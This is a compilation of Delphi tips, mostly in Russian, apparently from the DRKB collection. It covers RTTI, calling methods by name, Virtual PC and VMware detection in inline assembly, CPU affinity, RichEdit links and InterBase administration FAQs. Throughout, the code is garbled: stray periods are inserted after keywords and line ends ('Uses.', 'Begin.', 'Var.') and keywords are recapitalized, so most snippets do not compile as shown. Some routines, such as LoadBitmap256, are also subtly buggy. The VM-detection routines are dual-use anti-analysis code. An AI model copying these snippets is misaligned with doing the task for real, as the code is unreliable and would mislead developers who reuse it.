I need to get a list of strings (like a StringList) with the possible values for a TBrushStyle property (bsSolid, bsClear, bsHorizontal, for example). I want to build a ComboBox with this options. How can I set the property Items of my ComboBox directly with all the values from the enumerated type TBrushStyle? My ComboBox will be alike the Property Editor for this type.

You can use runtime type information (RTTI) to do that. Below is an example:

Code: Uses. {...}, TypInfo. Procedure BrushStylesAsStrings(AList: TStrings); Var. A: integer; PInfo: PTypeInfo; PEnum: PTypeData; Begin. AList.Clear; PInfo := PTypeInfo(TypeInfo(TBrushStyle)); PEnum := GetTypeData(pInfo); With pEnum^ do. Begin. For a := MinValue to MaxValue do. AList.Add(GetEnumName(pInfo, a)); End; End;

Tip by Sen.

©Drkb::00282.

Взято из http://www.lmc-mediaagentur.de/dpool.

Как изменить цвет всех компонентов на форме в Run-time?

I would like to change the font color on all components on a form at runtime (and the components owned by the components etc). I devised a recursive algorithm using RTTI that accepts a TComponent as a parameter. It works to some extent, but I still have to use 'if' statements to cast the object to a particular descendant, resulting in about 30 lines of code to test for all of the components I use. Also, some objects (TColumnTitle), are not descended from TComponent, even though they have a font property.

This may do the trick (with D6 and maybe D5):

Code: Uses. TypInfo; { ... } Var. I: integer; AFont: TFont; Begin. For i := 0 to aComponent.ComponentCount - 1 do. Begin. AFont := TFont(GetOrdProp(aComponent.Components[i], 'Font')); If assigned(aFont) then. AFont.Color := clWhite; End; End;

Как выполнить метод по его имени?

Code: { ... } Type. PYourMethod = ^TYourMethod; TYourMethod = procedure(S: string) of Object; Procedure TMainForm.Button1Click(Sender: TObject); Begin. ExecMethodByName('SomeMethod'); End; Procedure TMainForm.ExecMethodByName(AName: string); Var. PAddr: PYourMethod; M: TMethod; Begin. PAddr := MethodAddress(AName); If PAddr <> nil then. Begin. M.Code := PAddr; M.Data := Self; TYourMethod(M)('hello'); End; End; Procedure TMainForm.SomeMethod(S: string); Begin. ShowMessage(S); End;

Узнать не запущено ли приложение под Virtual PC?

Code: { This function can be used to determine whether your program is. Running from within Connectrix's Virtual PC. } Function running_inside_vpc: boolean; assembler; Asm. Push ebp. Mov ecx, offset @@exception_handler. Mov ebp, esp. Push ebx. Push ecx. Push dword ptr fs:[0]. Mov dword ptr fs:[0], esp. Mov ebx, 0 // flag. Mov eax, 1 // VPC function number. // call VPC. Db 00Fh, 03Fh, 007h, 00Bh. Mov eax, dword ptr ss:[esp]. Mov dword ptr fs:[0], eax. Add esp, 8. Test ebx, ebx. Setz al. Lea esp, dword ptr ss:[ebp-4]. Mov ebx, dword ptr ss:[esp]. Mov ebp, dword ptr ss:[esp+4]. Add esp, 8. Jmp @@ret. @@exception_handler: Mov ecx, [esp+0Ch]. Mov dword ptr [ecx+0A4h], -1 // EBX = -1 -> not running, ebx = 0 -> running. Add dword ptr [ecx+0B8h], 4 // -> skip past the detection code. Xor eax, eax // exception is handled. Ret. @@ret: End;

©Drkb::01332.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Узнать не запущено ли приложение под VMware?

Code: //////////////////////////////////////////////////////////////////////////////// // // Simple VMware check on i386. // // Note: There are plenty ways to detect VMware. This short version bases. // on the fact that VMware intercepts IN instructions to port 0x5658 with. // an magic value of 0x564D5868 in EAX. However, this is *NOT* officially. // documented (used by VMware tools to communicate with the host via VM). // // Because this might change in future versions - you should look out for. // additional checks (e.g. hardware device IDs, BIOS informations, etc.). // Newer VMware BIOS has valid SMBIOS informations (you might use my BIOS. // Helper unit to dump the ROM-BIOS (http://www.bendlins.de/nico/delphi). // Function IsVMwarePresent(): LongBool; stdcall; // platform; Begin. Result := False; {$IFDEF CPU386}. Try. Asm. Mov eax, 564D5868h. Mov ebx, 00000000h. Mov ecx, 0000000Ah. Mov edx, 00005658h. In eax, dx. Cmp ebx, 564D5868h. Jne @@exit. Mov Result, True. @@exit: End; Except. Result := False; End; {$ENDIF}. End;

©Drkb::01333.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Как получить список всех назначенных событий?

Code: Uses TypInfo; { .... } Procedure TForm1.Button1Click(Sender: TObject); Var. X, y, z: Word; Pl: PPropList; Begin. Y := GetPropList(Self, pl); For x := 0 to y - 1 do. Begin. If Copy(pl[x].Name, 1, 2) <> 'On' then Continue; If GetMethodProp(Self, pl[x].Name).Code <> nil then. Memo1.Lines.Add(Self.Name + ' - ' + pl[x].Name); End; For z := 0 to Self.ComponentCount - 1 do. Begin. Y := GetPropList(Self.Components[z], pl); For x := 0 to y - 1 do. Begin. If Copy(pl[x].Name, 1, 2) <> 'On' then Continue; If GetMethodProp(Self.Components[z], pl[x].Name).Code <> nil then. Memo1.Lines.Add(Self.Components[z].Name + ' - ' + pl[x].Name); End; End; End;

Как послать данные другому приложению используя auto-drag-n-drop?

Code: Uses. ShellAPI; Function MakeDrop(const FileNames: array of string): THandle; // Creates a hDrop Object. Var. I, Size: Integer; Data: PDragInfoA; P: PChar; Begin. // Calculate memory size needed. Size := SizeOf(TDragInfoA) + 1; For I := 0 to High(FileNames) do. Inc(Size, Length(FileNames[I]) + 1); // allocate the memory. Result := GlobalAlloc(GHND or GMEM_SHARE, Size); If Result <> 0 then. Begin. Data := GlobalLock(Result); If Data <> nil then. Try. // fill up with data. Data.uSize := SizeOf(TDragInfoA); P := PChar(@Data.grfKeyState) + 4; Data.lpFileList := P; // filenames at the at of the header (separated with #0). For I := 0 to High(FileNames) do. Begin. Size := Length(FileNames[I]); Move(Pointer(FileNames[I])^, P^, Size); Inc(P, Size + 1); End; Finally. GlobalUnlock(Result); End. Else. Begin. GlobalFree(Result); Result := 0; End; End; End; Function MyEnum(Wnd: hWnd; Res: PInteger): Bool; stdcall; // search for a edit control with classname 'TEditControl' Var. N: string; Begin. SetLength(N, MAX_PATH); SetLength(N, GetClassName(Wnd, Pointer(N), Length(N))); Result := AnsiCompareText('TEditControl', N) <> 0; If not Result then Res^ := Wnd; End; // Example: Open msdos.sys in Delphi's Editor window. Procedure TForm1.Button1Click(Sender: TObject); Var. Wnd: HWnd; Drop: hDrop; Begin. // search for Delphi's Editor. EnumChildWindows(FindWindow('TEditWindow', nil), @MyEnum, Integer(@Wnd)); If IsWindow(Wnd) then. Begin. // Delphi's Editor found. Open msdos.sys. Drop := MakeDrop(['c:\msdos.sys']); If Drop <> 0 then PostMessage(Wnd, wm_DropFiles, Drop, 0); // Free the memory? GlobalFree(Drop); End; End;

Как получить и изменить координаты иконок на столе?

Code: // For Win9x: //------------------------------------------- Uses. CommCtrl, IPCThrd; (from your Delphi\Demos\Ipcdemos directory). Function GetDesktopListViewHandle: THandle; Var. S: String; Begin. Result := FindWindow('ProgMan', nil); Result := GetWindow(Result, GW_CHILD); Result := GetWindow(Result, GW_CHILD); SetLength(S, 40); GetClassName(Result, PChar(S), 39); If PChar(S) <> 'SysListView32' then Result := 0; End; Procedure TForm1.Button1Click(Sender: TObject); Type. PInfo = ^TInfo; TInfo = packed record. InfoPoint: TPoint; InfoText: array[0..255] of Char; InfoItem: TLVItem; InfoFindInfo: TLVFindInfo; End; Var. R : TRect; HWnd : THandle; I, iCount : Integer; Info: PInfo; SharedMem: TSharedMem; Begin. HWnd := GetDesktopWindow(); GetWindowRect(hWnd,r); Memo.Lines.Add('Bottom: ' + IntToStr(r.Bottom)); Memo.Lines.Add('Right: ' + IntToStr(r.Right)); HWnd := GetDesktopListViewHandle; ICount := ListView_GetItemCount(hWnd); Memo.Lines.Add('# Icons: ' + IntToStr(iCount)); SharedMem := TSharedMem.Create('', SizeOf(TInfo)); Info := SharedMem.Buffer; With Info^ do. Try. InfoItem.pszText := infoText; InfoItem.cchTextMax := 255; InfoItem.mask := LVIF_TEXT; Try. Begin. For i := 0 to iCount - 1 do. Begin. InfoItem.iItem := i; Try. ListView_GetItem(hWnd, infoItem); ListView_GetItemPosition(hWnd, I, infoPoint); Memo.Lines.Add('Icon: ' + infoText); Memo.Lines.Add(' X: ' + IntToStr(infoPoint.X)); Memo.Lines.Add(' Y: ' + IntToStr(infoPoint.Y)); Except. End; End; End; Finally. End; Finally. SharedMem.Free; End; End;

Проверить не запущена ли terminal client session?

Code: Function IsRemoteSession: Boolean; Const. Sm_RemoteSession = $1000; { from WinUser.h }. Begin. Result := GetSystemMetrics(sm_RemoteSession) <> 0; End;

Как определить насколько долго система находится в Idle?

Code: Function LastInput: DWord; Var. LInput: TLastInputInfo; Begin. LInput.cbSize := SizeOf(TLastInputInfo); GetLastInputInfo(LInput); Result := GetTickCount - LInput.dwTime; End; //Example: Procedure TForm1.Timer1Timer(Sender: TObject); Begin. Label1.Caption := Format('System Idle since %d ms', [LastInput]); End; // The GetLastInputInfo function retrieves the time. // of the last input event. // Minimum operating systems: Windows 2000.

Как обновить все окна Internet Explorer?

Code: Uses. MSHTML_TLB, SHDocVw_TLB; Procedure TForm1.Button1Click(Sender: TObject); Var. ShellWindow: IShellWindows; WB: IWebbrowser2; SpDisp: IDispatch; IDoc1: IHTMLDocument2; K: Integer; Begin. ShellWindow := CoShellWindows.Create; For k := 0 to ShellWindow.Count do. Begin. SpDisp := ShellWindow.Item(k); If spDisp = nil then Continue; SpDisp.QueryInterface(iWebBrowser2, WB); If WB <> nil then. Begin. WB.Document.QueryInterface(IHTMLDocument2, iDoc1); If iDoc1 <> nil then. Begin. WB := ShellWindow.Item(k) as IWebbrowser2; WB.Refresh; End; End; End; End;

Как прочитать и изменить doubleclick time?

Code: // Set example: Procedure TForm1.Button1Click(Sender: TObject); Begin. // will reset after system start. SetDoubleClickTime(1500); End; // Get example: Procedure TForm1.Button2Click(Sender: TObject); Begin. ShowMessage(IntToStr(GetDoubleClickTime)); End;

Как запустить процесс на конкретном процессоре в много процессорной системе?

Code: Function ExecuteProcess(FileName: string; Visibility: Integer; BitMask: Integer; Synch: Boolean): Longword; //valori di Visibility: { Value Meaning. SW_HIDE :Hides the window and activates another window. SW_MAXIMIZE :Maximizes the specified window. SW_MINIMIZE :Minimizes the specified window and activates the next top-level window in the Z order. SW_RESTORE :Activates and displays the window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should. Specify this flag when restoring a minimized window. SW_SHOW :Activates the window and displays it in its current size and position. SW_SHOWDEFAULT :Sets the show state based on the SW_ flag specified in the STARTUPINFO. Structure passed to the CreateProcess function by the program that started the application. SW_SHOWMAXIMIZED :Activates the window and displays it as a maximized window. SW_SHOWMINIMIZED :Activates the window and displays it as a minimized window. SW_SHOWMINNOACTIVE :Displays the window as a minimized window. The active window remains active. SW_SHOWNA :Displays the window in its current state. The active window remains active. SW_SHOWNOACTIVATE :Displays a window in its most recent size and position. The active window remains active. SW_SHOWNORMAL :Activates and displays a window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should specify this. Flag when displaying the window for the first time. } //FileName: the name of the program I want to launch. //Bitmask: specifies the set of CPUs on wich I want to run the program. //the BitMask is built in the following manner: //I have a bit sequence: every bit is associated to a CPU (from right to left). //I set the bit to 1 if I want to use the corrisponding CPU, 0 otherwise. //for example: I have 4 processor and I want to run the specified process on the CPU 2 and 4: //the corresponding bitmask will be 1010 -->2^0 * 0 + 2^1 * 1 + 2^2 * 0 + 2^3 * 1 = 2 + 8 = 10. //hence BitMask = 10. //Synch: Boolean --> True if I want a Synchronous Execution (I cannot close. //my application before the launched process is terminated). Var. ZAppName: array[0..512] of Char; ZCurDir: array[0..255] of Char; WorkDir: string; StartupInfo: TStartupInfo; ProcessInfo: TProcessInformation; Closed: Boolean; Begin. Closed := True; StrPCopy(zAppName, FileName); GetDir(0, WorkDir); StrPCopy(zCurDir, WorkDir); FillChar(StartupInfo, SizeOf(StartupInfo), #0); StartupInfo.cb := SizeOf(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW; StartupInfo.wShowWindow := Visibility; If not CreateProcess(nil, ZAppName, // pointer to command line string. Nil, // pointer to process security attributes. Nil, // pointer to thread security attributes. False, // handle inheritance flag. CREATE_NEW_CONSOLE or // creation flags. NORMAL_PRIORITY_CLASS, Nil, //pointer to new environment block. Nil, // pointer to current directory name. StartupInfo, // pointer to STARTUPINFO. ProcessInfo) // pointer to PROCESS_INF. Then Result := WAIT_FAILED. Else. Begin. //running the process on the set of CPUs specified by BitMask. SetProcessAffinityMask(ProcessInfo.hProcess, BitMask); ///// If (Synch = True) then //if I want a Synchronous execution (I cannot close my. // application before this process is terminated). Begin. Closed:= False; Repeat. Case WaitForSingleObject( ProcessInfo.hProcess, 100) of. WAIT_OBJECT_0 : Closed:= True; WAIT_FAILED : RaiseLastWin32Error; End; Application.ProcessMessages; Until (Closed); GetExitCodeProcess(ProcessInfo.hProcess, Result); //exit code of the launched process (0 if the process returned no error ). CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); End. Else. Begin. Result := 0; End; End; End; {ExecuteProcess}. // Open Taskmanager, select the launched process, right click, // "Set affinity", you will see a check on the CPUs you selected.

©Drkb::01439.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Как перевести TWebBrowser в режим редактирования (дизайна)?

Code: { You can use the designMode property to put the Webbrowser. Into a mode where you can edit the current document. } Uses. MSHTML_TLB; Procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject; Const pDisp: IDispatch; var URL: OleVariant); Var. CurrentWB: IWebBrowser; Begin. CurrentWB := pDisp as IWebBrowser; (CurrentWB.Document as IHTMLDocument2).DesignMode := 'On'; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. WebBrowser1.Navigate('http://wp.netscape.com/assist/net_sites/example1-F.html'). End;

Как выделить URL в TRichEdit?

Code: {....} Protected. Procedure WndProc(var Message: TMessage); override; {....} Uses Richedit, ShellApi; {Today I want to show how to implement URL highlighting and URL navigation. Without any third-party components. This functionality is implemented in. RichEdit from Microsoft (and MS Outlook use this feature, for example) and. Only Borland's developers didn't publish it for us.}. Procedure TForm1.FormCreate(Sender: TObject); Var. Mask: Word; Begin. Mask := SendMessage(RichEdit1.Handle, EM_GETEVENTMASK, 0, 0); SendMessage(RichEdit1.Handle, EM_SETEVENTMASK, 0, mask or ENM_LINK); SendMessage(RichEdit1.Handle, EM_AUTOURLDETECT, Integer(True), 0); //Some text in RichEdit. RichEdit1.Text := 'Scalabium Software'#13#10 + ' Site is located at www.scalabium.com. Welcome to our site.'; End; Procedure TForm1.WndProc(var Message: TMessage); Var. P: TENLink; StrURL: string; Begin. If (Message.Msg = WM_NOTIFY) then. Begin. If (PNMHDR(Message.lParam).code = EN_LINK) then. Begin. P := TENLink(Pointer(TWMNotify(Message).NMHdr)^); If (p.Msg = WM_LBUTTONDOWN) then. Begin. SendMessage(RichEdit1.Handle, EM_EXSETSEL, 0, Longint(@(p.chrg))); StrURL := RichEdit1.SelText; ShellExecute(Handle, 'open', PChar(strURL), 0, 0, SW_SHOWNORMAL); End. End. End; Inherited; End;

Что такое фреймы?

Фрэйм - это чтото-типа TForm только его можна размещать в любом окне программы.

Надо создать его File -> New -> Frame. Появится окошко. Растянуть на форме этот ТFгаmеБ выбрать из списка нужный и работать как с обычной формой. Все просто.

Автор Vinnety.

©Drkb::01325.

Взято с Vingrad.ru http://forum.vingrad.ru.

Шифрование файлов при помощи NTFS функций.

Code: {....} { This tip works with Windows 2000 (NTFS 5) and later. These 2 functions are defined in windows.pas, but they're defined wrong. In this. Case our own definition. } Function EncryptFile(lpFilename: PChar): BOOL; stdcall; External advapi32 name 'EncryptFileA'; Function DecryptFile(lpFilename: PChar; dwReserved: DWORD): BOOL; stdcall; External advapi32 name 'DecryptFileA'; {....} Procedure TForm1.Button1Click(Sender: TObject); Begin. If not EncryptFile('c:\temp') then. ShowMessage('Cant encrypt directory.'); End; Procedure TForm1.Button2Click(Sender: TObject); Begin. If not DecryptFile('c:\temp', 0) then. ShowMessage('Cant decrypt directory.'); End;

Как узнать статус меню?

В чём вопрос: как узнать, нажат ли сейчас именно нужный пункт меню? Чтобы я в таймере мог его опрашивать на состояние.

До тех пор, пока какая-то часть главного меню "выпала" (то есть нажат итем "Файл", и видны New, Open, Save etc.) нужно чёто делать раз в полсекунды. То есть надо отловить момент, когда это самое меню закроется, чтобы перестать чё-то делать.

1)Событие OnClick - срабатывает на пункте если мы по нему кликнули или если данный пункт имеет подменю(а точнее подпункты) и оно активировалось... как следствие - повесив обработчик на OnClick мы можем узнать что меню активировалось и какое енто меню, а также узнать информацию о подменю(и при необходимости что нить изменить ).

2)Из ходя из 1 пункта мы знаем что меню... активно. Но нам надо знать что меню закрылось... для ентого ловим сообщение WM_CAPTURECHANGED или его не видно WM_UNINITMENUPOPUP.

Пример для первого и второго пункта:

Code: Unit Unit1; {©Drkb v.3(2007): www.drkb.ru}. Interface. Uses. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Menus, StdCtrls, ComCtrls; Type. TForm1 = class(TForm). MainMenu1: TMainMenu; N1231: TMenuItem; //Какой то пункт. N23551: TMenuItem; //Какой то пункт. N1231231: TMenuItem; //Какой то пункт. N1231111: TMenuItem; //Какой то пункт. Timer1: TTimer; //Какой то пункт. N2341: TMenuItem; //Какой то пункт. N2342: TMenuItem; //Какой то пункт. N234541: TMenuItem; //Какой то пункт. N23421: TMenuItem; //Какой то пункт. Ertert1: TMenuItem; //Какой то пункт. N1: TMenuItem; //Какой то пункт. N123121: TMenuItem; //Какой то пункт. N1231232: TMenuItem; //Какой то пункт. N2343: TMenuItem; //Какой то пункт. Procedure Timer1Timer(Sender: TObject); Procedure WndProc(var Message: TMessage); override; Procedure N1231Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; F:boolean=false; //флаг активности. Implementation. {$R *.dfm}. Procedure TForm1.WndProc(var Message: TMessage); Begin. If f then. Begin. If (Message.Msg=WM_UNINITMENUPOPUP) then. Caption:='Мдя... Че-то меня не видно! Но я активен!' else. If (Message.Msg=WM_CAPTURECHANGED) then. Begin. Caption:='Ёпс!... ты че вышел?'; F:=false; //Сбрасываем флаг активности. End else inherited; End else inherited; End; Procedure TForm1.Timer1Timer(Sender: TObject); Begin. EndMenu; //закрываем меню. Timer1.Enabled:=false; End; Procedure TForm1.N1231Click(Sender: TObject); //Вешаем на все пункты меню :). Begin. Caption:=IntToStr(TMenuItem(Sender).MenuIndex); If (TMenuItem(Sender).Count>0) then. Begin. If f=false then. Begin. Timer1.Interval:=10000; //Ставим таймер для автоматического закрытия. Timer1.Enabled:=true; Timer1.OnTimer:=Timer1Timer; End; F:=true; //меню активированно! End; End; End.

Автор Girder.

©Drkb::01306.

Взято с Vingrad.ru http://forum.vingrad.ru.

Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?

Когда вы открываете набор данных при помощи TTable, BDE производит fetch только такого количества записей, которые помещаются в Grid. Если вы захотели переместиться в конец таблицы, то для большинства SQL-серверов возможно перемещение по записям только вперед - т.е. если вам потребуется поместить указатель в середину таблицы то BDE пришлось-бы заново перечитывать записи с ее начала. Причина такой работы в том, что SQL-серверы в большинстве возвращают результаты запросов в виде последовательных наборов записей. В навигационных БД напротив, возможно физическое позиционирование на любую запись таблицы.

Если SQL-сервер поддерживает двунаправленные скроллируемые курсоры, то полное кэширование записей запроса выполняться BDE не будет.

Кроме этого, TTable и TQuery работают по разному. TQuery при перемещении в конец таблицы действительно сделает выборку всех записей, т.к. он и не может иначе - для выполнения задано конкретное SQL-выражение.

TTable-же напротив, показывает всю таблицу, и запросы для получения содержимого таблицы формируются автоматически. Поэтому TTable при нажатии вами в TDBGrid клавиш Ctrl-End сформирует запрос типа.

Code: SELECT * FROM TABLE ORDER BY INDEXFIELD DESC.

Использование русских кодировок приводит к ошибке.

Я установил Delphi X.0 C/S, но почему-то использование русских кодировок приводит к ошибке ?

Проблемы с созданием БД с кодировкой WIN1251 могут быть если у Вас бета-версия Delphi. Еще одна причина - пробелы в имени каталога, в котором.

Находятся файлы локального IB (Program Files\Borland\Delphi X.0\IntrBase), или база данных (gdb-файл).

Если вам не хочется переустанавливать IB, то вы можете сделать следующее:

Предварительно выгрузив локальный IB (если он виден на TaskBar), переместите каталог IntrBase в каталог, не содержащий в имени пробелов или на диск C: (C:\IntrBase).

Запустите RegEdit. В Registry реально к IB имеют отношение две строки: автоматический запуск Local IB и путь к файлу лицензии IB.

Найдите эти две строки и измените путь в этих строках на новый.

©Drkb::02878.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

В каких версиях IB поддерживаются уведомления о событиях (Event Alerts)?

Во всех, кроме локального IB для Windows 3.1. Это очень сильно урезанная версия IB, даже по сравнению с Local IB 4.1 for Windows95.

Устойчивая работа Event Alerters зависит как от используемого компонента (см. www.ibase.ru/download.htm), так и от сервиспаков, установленных на NT Server или Workstation. Например, уведомление о событиях работает, если.

Установлен SP3 и postsp3 hotfix TEARDROP2,

Либо установлен SP4 (большой, т.е. ~70мегабайт).

EventAlerters могут работать неустойчиво, если для SP3 не установлен teardrop2, либо вообще не работать, если установлен SP4 размером ~32 мегабайта (из-за версии tcpip.sys). Если клиентами являются NT Workstation, настоятельно рекомендуется на клиентах установить тот же SP и постфиксы, что и для сервера.

©Drkb::02904.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Сколько памяти использует IB на сервере?

Минимально при запуске - от 1.2 до 3 Мб, далее память распределяется динамически в зависимости от запросов, выполняемых клиентами (от 40 до 400К на клиента). Кроме этого, объем используемой памяти сильно зависит от архитектуры сервера (Classic или SuperServer), операционной системы, размера кэша страниц БД и других настроек. Подробнее по настройкам см. PERFORM.HLP в каталоге INTRBASE\BIN.

©Drkb::02895.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Проблемы с открытием базы данных.

У меня возникают проблемы с открытием базы данных. USERNAME и PASSWORD вроде-бы правильные.

Может быть, что в момент ввода пароля клавиатура переключена в режим Caps Lock - а пароль является регистрочувствительным. После установки действуют имя пользователя SYSDBA и пароль masterkey. Они предназначены для работы Администратора БД. Из соображений security вы должны изменить пароль masterkey, чтобы никто кроме вас не смог подсоединиться к IB. Также, ни в коем случае нельзя удалять пользователя SYSDBA, иначе вы потеряете доступ к системным таблицам.

©Drkb::02896.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Что такое ISC4.GDB? Для чего нужна эта БД?

БД ISC4.GDB используется IB для хранения информации о пользователях (имена, пароли и т.п.). Удалять этот файл нельзя. Вы можете создать alias на эту БД и посмотреть ее содержимое, и даже программно добавлять пользователей или изменять их пароли, воспользовавшись соответствующими UDF в разделе www.ibase.ru/d_udf.htm.

©Drkb::02897.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Пропажа прав пользователей в Local IB после переноса.

Я создал БД с правами пользователей в Local IB. После переноса этой БД на IB for NT все пользователи куда-то "пропали". В чем дело ?

Причина в том, что информация о пользователях IB хранится в специальном файле ISC4.GDB, и является общей для всех БД на конкретном компьютере. Очевидно что в вашем случае на сервере IB for NT отсутствовали пользователи, заведенные вами для Local IB. Вам придется создать всех ваших пользователей и для IB for NT (при помощи Server Manager). То же самое будет и при переносе базы данных между серверами IB. Т.е. на обоих серверах пользователи должны быть созданы отдельно.

Если версии IB и платформы на обоих серверах совпадают, то ISC4.GDB можно просто скопировать. Разумеется, при отсутствии подсоединений. (еще лучше вообще выключить сервер БД на время копирования isc4.gdb).

Перенести isc4.gdb между платформами можно следующим способом: сделать backup isc4.gdb, восстановить на нужном сервере эту БД в другое имя (например isc4_new.gdb), остановить сервер IB, удалить старую isc4.gdb и переименовать isc4_new.gdb.

©Drkb::02898.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Как переносить базы данных между разными IB?

Как переносить базы данных между разными IB ? Например между Local IB и IB for Linux?

Для переноса нужно использовать операцию backup/restore, т.к. формат хранения данных для разных платформ разный. Переносить БД без backup/restore можно только в том случае, если у IB-источника и IB-приемника совпадает версия ODS - OnDisk Structure. Версию ODS можно увидеть в Server Manager после подсоединения к БД и вызову пункта меню Tasks/Database Statistics (Database Header, ODS version). Как правило, даже у одной и той же версии IB, но для разных операционных систем версия ODS разная.

©Drkb::02899.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Почему IB работает неустойчиво на NetWare 4.x?

Для NetWare 4.x нужно использовать IB 4.2.2. Предыдущие версии IB for Netware сертифицированы только для NetWare 3.11/3.12.

Для NetWare 5.x выпущена версия IB 5.6. Также нужно знать, что ни Interbase 6 ни Firebird не выпускаются и не будут выпускаться для Netware.

©Drkb::02900.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Регулярные выражения.

It is possible to use regular expressions in Delphi thanks to their implementation inside "Microsoft(r) Windows(r) Script".First of all I want to say that this article isn't a theoretical analisys of the regular expressions but an explanation of how to use them in Delphi. First of all I suggest you to download the latest version of "Microsoft(r) Windows(r) Script" at the following url:

Как посмотреть требуемые библиотеки для бинарника?

[root@snoppy hello]# ldd helloworld.

/lib/libNoVersion.so.1 => /lib/libNoVersion.so.1 (0x40018000).

Libpthread.so.0 => /lib/i686/libpthread.so.0 (0x4002f000).

Libdl.so.2 => /lib/lib/libdl.so.2 (0x40044000).

Libc.so.6 => /lib/i686/libc.so.6 (0x40048000).

/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000).

©Drkb::04623.

Включение WAL на NetWare ухудшает производительность на 80% при вставках записей, и только на 15% - при обновлениях.

Файл WAL должен быть расположен на другом винчестере чем основная БД. (это-же относится и к теневой БД). В этом случае ухудшения производительности не будет. Кроме этого вы должны учитывать, что запись в WAL происходит синхронно с БД, поэтому сравнивать "производительность" WAL с асинхронными изменениями в БД некорректно.

©Drkb::02901.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Как оптимизировать запросы?

Вот несколько простых рекомендаций для оптимизации запросов:

Пробуйте разный порядок таблицы в запросе для получения оптимальной производительности (также и для явного join).

Пробуйте ваши запросы в WISQL, включив Show Query Plan и Show Statistics.

Используйте индексы по полям, участвующим в условиях where.

Не забывайте делать SET STATISTICS по индексам, созданным вами специально для ускорения запросов.

К сожалению, не существует точных правил по оптимизации запросов - это путь проб и ошибок, т.к. невозможно заранее предсказать ни ваши запросы, ни ваши реальные данные.

Примечание: бывают ситуации, когда оптимизатор "настаивает" на использовании всех индексов по определенному столбцу, даже если создан специальный композитный индекс по всем полям where. В этом случае необходимо принудительно заставить оптимизатор IB использовать нужный запрос, причем скорость отработки такого запроса может ускориться на порядок.

©Drkb::02889.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Каков максимальный размер базы данных IB?

Borland и независимые эксперты сообщают, что IB может обслуживать файлы БД размером в ~10-20 гигабайт. Существует также ограничение на размер одного файла БД, которое в основном зависит от ограничений используемой файловой системы, и составляет от 2 до 4 гигабайт. В любом случае не стоит допускать увеличения размера одного файла БД выше 2 гигабайт (создайте один или более вторичных файлов заранее). Многофайловая БД может состоять из 65535 файлов, таким образом теоретический предел для одной базы данных IB - 132 терабайта. Известны реально используемые базы данных в 180 гигабайт и 980 гигабайт, не содержащие blob-полей.

©Drkb::02902.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Сколько БД я могу открыть в одной транзакции?

Не существует архитектурнго ограничения на такую возможность. Пользователи сообщают о работе одновременно с 17-ю БД.

©Drkb::02903.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)

Диалог подключения сетевого диска.

Code: Procedure TStartForm.NetBtnClick(Sender: TObject); Var. OldDrives: TStringList; I: Integer; Begin. OldDrives := TStringList.Create; // Запоминаем список дисков. OldDrives.Assign(Drivebox.Items); // Показываем диалог подключения. If WNetConnectionDialog(Handle, RESOURCETYPE_DISK) = NO_ERROR then. Begin. // Обновляем список дисков. DriveBox.TextCase := tcLowerCase; For i := 0 to DriveBox.Items.Count - 1 do. Begin. // Ищем свободный логический диск. If Olddrives.IndexOf(Drivebox.Items[i]) = -1 then. Begin. // Показываем первый найденный логический диск. DriveBox.ItemIndex := i; // Каскадируем обновление на список подключенных каталогов и др. DriveBox.Drive := DriveBox.Text[1]; End; End; DriveBox.SetFocus; End; OldDrives.Free; End;

256-цветное изображение из res-файла.

Code: Function LoadBitmap256(hInstance: HWND; lpBitmapName: PChar): HBITMAP; Var. HPal, hRes, hResInfo: THandle; PBitmap: PBitmapInfo; NColorData: Integer; PPalette: PLogPalette; X: Integer; HPalette: THandle; Begin. HResInfo := FindResource(hInstance, lpBitmapName, RT_BITMAP); HRes := LoadResource(hInstance, hResInfo); PBitmap := Lockresource(hRes); NColorData := pBitmap^.bmiHeader.biClrUsed; HPal := GlobalAlloc(GMEM_MOVEABLE, (16 * nColorData)); { hPal := GlobalAlloc( GMEM_MOVEABLE, ( SizeOf( LOGPALETTE ) + (nColorData * SizeOf( PALETTEENTRY )));}. PPalette := GlobalLock(hPal); PPalette^.palVersion := $300; PPalette^.palNumEntries := nColorData; For x := 0 to nColorData do. Begin. PPalette^.palPalentry[X].peRed := pBitmap^.bmiColors[X].rgbRed; PPalette^.palPalentry[X].peGreen := pBitmap^.bmiColors[X].rgbGreen; PPalette^.palPalentry[X].peBlue := pBitmap^.bmiColors[X].rgbBlue; End; HPalette := CreatePalette(pPalette^); GlobalUnlock(hRes); GlobalUnlock(hPal); GlobalFree(hPal); End; End.

Создание RES-файла с помощью BRCC.EXE.

Данный метод обходит проблемы, связанные с Image Editor.

В каталоге \DELPHI\BIN имеется утилита коммандной строки, названная BRCC.EXE, позволяющая создавать из файлов, содержащих изображения/иконки, RES-файлы, в обход Image Editor. (Тем не менее, Image Editor хорошо работает при создании или редактировании файлов с изображениями или курсорами. Проблемой был импорт.).

Resource File Compiler описан в справке Windows API help в главе Windows Tools (где вы также можете прочесть о RC.EXE как о BRCC.EXE!). Это сэкономит вам какое-то время!

